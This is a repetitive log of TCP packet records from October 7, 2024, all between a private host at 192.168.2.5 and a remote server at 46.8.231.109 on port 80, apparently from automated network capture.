Oct 7, 2024 17:22:04.258790970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258802891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258814096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258825064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258831024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.258836985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258852959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.258881092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.258908987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258920908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258933067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258944988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258945942 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.258958101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258974075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259006023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259092093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259104967 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259116888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259128094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259130001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259143114 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259155989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259156942 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259181976 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259195089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259244919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259255886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259274960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259285927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259287119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259298086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259304047 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259310961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259320974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259322882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259335995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259347916 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259349108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259361029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259366035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259397984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259417057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259419918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259432077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259445906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259454012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259459019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259470940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259470940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259481907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.259490967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259507895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.259531975 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335115910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335134029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335144997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335156918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335180998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335206032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335218906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335231066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335243940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335252047 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335253000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335283041 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335304022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335338116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335349083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335359097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335366011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335372925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335397959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335402966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335413933 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335414886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335427046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335436106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335443020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335458994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335481882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335614920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335627079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335638046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335649014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335654020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335664988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335668087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335680008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335683107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335690022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335700035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335711002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335732937 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335932970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335971117 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.335977077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.335987091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336009026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336023092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336034060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336044073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336055040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336062908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336066008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336076021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336077929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336095095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336117983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336436987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336447001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336456060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336474895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336492062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336494923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336504936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336514950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336524963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336530924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336539030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336555958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336580992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336709976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336745024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336785078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336796045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336806059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336822987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336846113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336864948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336875916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336896896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.336909056 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336918116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.336935043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337477922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337517023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337519884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337532043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337553024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337568998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337601900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337613106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337624073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337635040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337635994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337652922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337670088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337682009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337716103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337778091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337789059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337799072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337812901 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337826967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337843895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337881088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337892056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337903023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337912083 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337913990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.337928057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.337945938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338357925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338401079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338421106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338433027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338454962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338471889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338481903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338493109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338504076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338510990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338515997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338525057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338540077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338556051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338582039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338592052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338602066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338613987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338641882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338692904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338705063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338715076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338723898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.338732004 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338747978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.338772058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.339879990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.339896917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.339905977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.339926004 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.339942932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.339960098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.339970112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.339999914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.340002060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.340010881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.340030909 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.340054989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.340058088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.340066910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.340092897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.340106964 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341267109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341274977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341291904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341306925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341312885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341317892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341327906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341342926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341361046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341379881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341391087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341413021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341437101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341484070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341517925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341537952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341547012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341557026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341567993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341567993 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341583014 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341600895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341623068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341634989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341644049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341648102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341656923 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341671944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341681957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341682911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341694117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341703892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341711998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341723919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341749907 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341852903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341862917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341872931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341882944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341888905 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341895103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341905117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341907024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341917038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341928005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341932058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341939926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.341948032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341963053 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.341986895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.342062950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.342072964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.342089891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.342094898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.342101097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.342111111 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.342112064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.342123032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.342127085 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.342133045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.342154026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.342169046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.417844057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.417862892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.417874098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.417885065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.417896032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.417907953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.417920113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.417922020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.417933941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.417962074 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.417982101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418188095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418200016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418216944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418231964 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418260098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418271065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418273926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418284893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418294907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418302059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418306112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418315887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418325901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418334007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418343067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418354988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418364048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418380976 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418412924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418412924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418426037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418438911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418453932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418472052 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418479919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418663979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418683052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418694019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418705940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418718100 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418729067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418736935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418740988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418765068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418771982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418776989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418783903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.418783903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418814898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.418842077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.419112921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419158936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.419255972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419269085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419281006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419292927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419305086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419313908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.419317007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419327974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419328928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.419361115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.419370890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.419635057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419677019 CEST	49704	80	192.168.2.5	46.8.231.109
